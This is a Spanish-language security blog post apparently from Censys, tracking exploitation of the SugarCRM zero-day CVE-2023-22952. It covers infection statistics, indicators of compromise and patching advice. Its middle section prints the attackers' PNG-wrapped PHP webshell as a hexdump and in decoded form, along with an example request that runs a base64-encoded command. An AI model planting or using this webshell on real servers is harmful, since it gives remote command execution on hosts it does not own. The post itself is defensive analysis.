Ir al contenido
Nuevo informe: Consiga su copia del Informe sobre el estado de Internet 2024. | Descargar hoy
Blogs

Seguimiento de un día cero de SugarCRM

Actualización 17 de enero de 2023: SugarCRM hizo que una firma forense de terceros validara que no hubo intrusión en sus productos basados en la nube debido a esta vulnerabilidad. Puede encontrar más información al respecto aquí.

Actualización del 11 de enero de 2023: Este problema está ahora siendo rastreado como CVE-2023-22952 / Actualización de las cuentas comprometidas

Actualización 10 de enero de 2023: SugarCRM es consciente del problema, y hemos actualizado nuestro post y directrices sobre la fijación de la vulnerabilidad. Censys no ha visto un aumento significativo de las instancias comprometidas, pero seguirá vigilando la situación.

El 30 de diciembre de 2022, un usuario conocido como "sw33t.0day" publicó un exploit(enlace de archivo) en la lista de correo Full-Disclosure para un sistema de gestión de contenidos basado en web llamado SugarCRM. Esta vulnerabilidad está siendo rastreada como CVE-2023-22952 y, por desgracia, el exploit se está utilizando actualmente para comprometer hosts e instalar un webshell basado en php.

El 5 de enero de 2023, Censys observó 3.066 instancias de SugarCRM en Internet, con 291 hosts únicos comprometidos. A 11 de enero de 2023, hemos encontrado 3.059 instancias de Sugar CRM en Internet y 354 direcciones IP únicas que contienen el webshell instalado del exploit (un crecimiento de 63 direcciones IP).

 



 

 

Un post en la web de SugarCRM detalla la vulnerabilidad y una FAQ que describe los pasos necesarios para asegurar el servicio.

El exploit parece ser un bypass de autenticación contra "/index.php" en el servicio instalado. Después de que el bypass de autenticación tiene éxito, se obtiene una cookie del servicio, y se envía una petición POST secundaria a la ruta "/cache/images/sweet.phar" que carga un pequeño archivo codificado PNG que contiene código PHP que será ejecutado por el servidor cuando se haga otra petición del archivo. El binario inyectado en cuestión, cuando se decodifica, tiene el siguiente aspecto utilizando "hexdump":


00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 00 19 00 00 00 14  08 03 00 00 00 4f a9 66  |.............O.f|
00000020  8f 00 00 00 4b 50 4c 54  45 3c 3f 70 68 70 20 65  |....KPLTE<?php e|
00000030  63 68 6f 20 22 23 23 23  23 23 22 3b 20 70 61 73  |cho "#####"; pas|
00000040  73 74 68 72 75 28 62 61  73 65 36 34 5f 64 65 63  |sthru(base64_dec|
00000050  6f 64 65 28 24 5f 50 4f  53 54 5b 22 63 22 5d 29  |ode($_POST["c"])|
00000060  29 3b 20 65 63 68 6f 20  22 23 23 23 23 23 22 3b  |); echo "#####";|
00000070  20 3f 3e 20 f6 18 78 37  00 00 00 09 70 48 59 73  | ?> ..x7....pHYs|
00000080  00 00 0e c4 00 00 0e c4  01 95 2b 0e 1b 00 00 00  |..........+.....|
00000090  2a 49 44 41 54 28 91 63  60 c0 0d 18 99 98 59 58  |*IDAT(.c`.....YX|
000000a0  d9 d8 39 38 b9 b8 79 78  f9 f8 05 04 85 84 45 44  |..98..yx......ED|
000000b0  c5 c4 25 f0 68 19 05 43  14 00 00 30 be 01 2d 4c  |..%.h..C...0..-L|
000000c0  1e 5a 12 00 00 00 00 49  45 4e 44 ae 42 60 82     |.Z.....IEND.B`.|

Lo que más o menos se traduce en el siguiente PHP:

<?php 
  echo “#####”; 
  passthru(base64_decode($_POST[“c”])); 
  echo “#####”; 
?>

Se trata de un simple intérprete de comandos web que ejecutará comandos basados en el valor de "c" del argumento de consulta codificado en base64 (por ejemplo, 'POST /cache/images/sweet.phar?c="L2Jpbi9pZA==" HTTP/1.1', que ejecutará el comando "/bin/id" con los mismos permisos que el usuario-id que ejecuta el servicio web).

Los 10 países más infectados
País Recuento de huéspedes infectados Porcentaje del total de infecciones
Estados Unidos 90 32.5%
Alemania 59 21.3%
Australia 20 7.2%
Francia 18 6.5%
Reino Unido 15 5.4%
Irlanda 14 5.1%
Canadá 10 3.6%
Italia 9 3.2%
Países Bajos 8 2.9%
Singapur 7 2.5%
Los 10 sistemas autónomos más infectados
Sistema autónomo Recuento de huéspedes infectados Porcentaje del total de infecciones
AMAZON-02 73 26.4%
AMAZON-AES 33 11.9%
HETZNER-AS 21 7.6%
LEASEWEB-DE-FRA-10 10 3.6%
DIGITALOCEAN-ASN 9 3.2%
OVH 9 3.2%
PLATAFORMA GOOGLE-CLOUD 8 2.9%
AKAMAI-AP 5 1.8%
SQUIZ-AS-AP 5 1.8%
LIQUIDWEB 5 1.8%

Indicadores de compromiso

Una forma decente de determinar si su instalación de SugarCRM ha sido comprometida es ejecutar el siguiente comando donde "$INSTALLDIR" es el directorio raíz de la instalación de SugarCRM:

~$ strings $INSTALLDIR/cache/images/* | grep -i PHP

Lo más probable es que el host haya sido comprometido si se ve alguna salida. Dado que el nombre de archivo escrito que contiene el intérprete de comandos web se puede cambiar arbitrariamente, buscar cadenas PHP en todos los archivos dentro de ese directorio es el mejor método de identificación.

Dado que este exploit puede ser fácilmente convertido en un arma, escaneado y automatizado, Censys continuará rastreando esta vulnerabilidad.

Los administradores también deben supervisar los registros de peticiones HTTP destinadas al directorio "/cache/images/" y prestar atención al código de respuesta devuelto por el servidor web.

  • Si aparece un código de estado 404, el archivo no se ha encontrado y no se ha ejecutado código malicioso.
  • Si se ve un código de estado 403, el acceso es denegado por el servidor web, y el código no se ejecuta. Este será el código de estado visto cuando el servicio haya sido parcheado.

¿Qué se puede hacer?

En resumen, SugarCRM es consciente de este problema, ha notificado a los clientes y ha desplegado una solución para su servicio SugarCRM alojado en la nube. Se ha pedido a los clientes que utilizan una versión de SugarCRM compatible fuera del producto alojado en la nube que descarguen y apliquen la revisión correspondiente a su instancia de SugarCRM. Se recomienda a los clientes que utilicen una versión del producto que haya llegado al final de su vida útil que actualicen a la última versión del software lo antes posible.

SugarCRM ha publicado una actualización en su sitio web detallando esta vulnerabilidad.

 

Sobre el autor

Mark Ellzey
Senior Security Researcher Todos los puestos de Mark Ellzey
Mark Ellzey es investigador principal de seguridad en Censys. Antes de ocupar su puesto actual, Mark ha trabajado como ingeniero de seguridad de redes y desarrollador de software para varios proveedores de servicios de Internet e instituciones financieras durante más de 22 años.
Soluciones de gestión de la superficie de ataque
Más información